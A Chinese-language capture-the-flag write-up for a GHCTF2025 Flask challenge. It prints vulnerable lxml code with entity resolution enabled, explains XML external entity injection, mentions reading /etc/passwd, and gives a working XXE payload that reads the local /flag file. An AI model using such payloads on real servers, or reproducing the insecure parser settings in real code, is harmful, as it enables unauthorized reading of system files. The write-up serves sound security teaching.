GHCTF2025 (>﹏<) 题解

457次阅读
没有评论

共计1178个字符,预计需要花费3分钟才能阅读完成。

题目

也是 Flask 的题目并且给了源码:

from flask import Flask,request
import base64
from lxml import etree
import re
app = Flask(__name__)

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/ghctf',methods=['POST'])
def parse():
    xml=request.form.get('xml')
    print(xml)
    if xml is None:
        return "No System is Safe."
    parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
    root = etree.fromstring(xml, parser)
    name=root.find('name').text
    return name or None

if __name__=="__main__":
    app.run(host='0.0.0.0',port=8080)

思路

代码很简洁明了啊,关键点 /ghctf 页面。通过 POST 传给 xml= 某些内容 来访问,然后解析器会将传过去的内容解析成XML,很明显的XXE(XML 外部实体注入漏洞)。

那么什么是 XML 呢?这是一个标记语言,可以用来表示或者标记一类东西,比如下面标记了一个人:

<person>
    <name value="xiao ming" />
    <age value="13" />
</person>

回到源码上,看这几句话:

root = etree.fromstring(xml, parser)
name = root.find('name').text
return name or None

我们输入的内容被解析成 XML 并记录到参数 root 里,然后在这个 XML 内容里寻找 name 标签的值并且返回。传入 xml=<root><name>xiao ming</name></root> 试试?

GHCTF2025 (>﹏<) 题解

返回的 xiao ming 就是我们传入 name 的值。那么我们是不是只要把 name 的值改成我们想要的 flag 就行了呢?

XML是否可以运行某种命令呢?注意到 resolve_entities=True,允许使用XML 实体。在 这里 可以查询到实体的用法,采用以下标签:

<!ENTITY xxe SYSTEM "http://baidu.com">

相当于读取了 http://baidu.com 给变量 xxe。除此之外也是支持伪协议的,可以改成file:///etc/passwd 就能读取用户文件了!

题解

POSTxml 传入以下参数:

<!DOCTYPE x [<!ENTITY flag SYSTEM "file:///flag">]><root><name>&flag;</name></root>

得到 flag 回显:

GHCTF2025 (>﹏<) 题解
正文完
 0
评论(没有评论)
验证码
zh_CN简体中文